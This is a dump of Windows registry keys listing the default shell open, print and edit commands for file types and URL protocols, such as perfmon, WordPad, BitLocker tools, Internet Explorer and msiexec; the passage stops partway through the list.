HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /open "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Resmon.Config\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /res /load "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\Powershell\command
    (Default)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\Powershell\command
    (Default)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DLNA-PLAYSINGLE\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-passphrase\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe -pw %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-pin\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 T

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde-elev\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 T

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\manage-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe /name Microsoft.BitLockerDriveEncryption /page ?InitialVolume==%1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Powershell\command
    (Default)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 V

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde-elev\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 V

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\unlock-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\bdeunlock.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtfile\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtxfile\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\runas\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.BurnSelection\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.EraseDisc\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.ZipSelection\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocProtocol.search-ms\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\open\command
    (Default)    REG_SZ    C:\Windows\System32\fxscover.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\print\command
    (Default)    REG_SZ    C:\Windows\System32\fxscover.exe /P "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FindApp.DVD\Shell\Play\command
    (Default)    REG_EXPAND_SZ    explorer "ms-windows-store://search/?query=DVD"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ftp\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\Open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\gmmpfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\winhlp32.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htafile\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\SysWOW64\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\http\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\https\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\icmfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.PARTIAL\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.WEBSITE\Shell\Open\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.FTP\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTP\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTPS\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IMEDictionaryCompiler\shell\open\command
    (Default)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\imesxfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\jpegfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Edit\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open2\Command
    (Default)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Print\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Edit\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Open2\Command
    (Default)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Print\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Launcher.Computer\Shell\Manage\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\LpkSetup.1\Shell\install\command
    (Default)    REG_EXPAND_SZ    %systemroot%\system32\lpksetup.exe /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MacromediaFlashPaper.MacromediaFlashPaper\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mhtmlfile\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellConsole.1\Shell\0\Command
    (Default)    REG_SZ    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellConsole.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellData.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellModule.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.ProvTool.Provisioning.1\Shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.System.Update.1\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\wusa.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Website\Shell\Open\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Microsoft.Workfolders\Shell\Open\command
    (Default)    REG_SZ    C:\Windows\System32\control.exe /name Microsoft.WorkFolders

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MMS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-availablenetworks\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-mmsys\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msdt\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\msdt.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imepad\shell\open\command
    (Default)    REG_SZ    C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-msime-imjpdct\shell\open\command
    (Default)    REG_SZ    C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-perception-simulation\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-quick-assist\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\quickassist.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-rdx-document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-connectabledevices\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings-displays-topology\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-virtualtouchpad\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\system32\LaunchWinApp.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\Author\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe /a "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\RunAs\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSDASC\shell\open\command
    (Default)    REG_EXPAND_SZ    Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /i "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Repair\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /f "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Package\shell\Uninstall\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /x "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Msi.Patch\shell\Open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\msiexec.exe" /p "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSInfoFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msinfo32.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSSppLicenseFile\shell\open\command
    (Default)    REG_SZ    "iexplore.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSStorageSense\shell\open\command
    (Default)    REG_EXPAND_SZ    explorer ms-settings:storagesense

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\msstylesfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetServer\shell\remotedesktop\command
    (Default)    REG_SZ    mstsc.exe -v %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaServer:1\shell\Open Media Player\command
    (Default)    REG_EXPAND_SZ    C:\Program Files\Windows Media Player\wmplayer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\odtfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchdescription\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchfilefolderresult\shell\open\command
    (Default)    REG_SZ     

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\open\command
    (Default)    REG_SZ     

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\opensearchresult\shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %windir%\system32\mshtml.dll,PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\otffile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddP7R %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7RFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\P7SFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Paint.Picture\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pbkfile\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rasphone.exe -f "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PBrush\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PerfFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\pfmfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddPFX %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PFXFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PhotoViewer.FileAssoc.Tiff\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile\shell\open\command
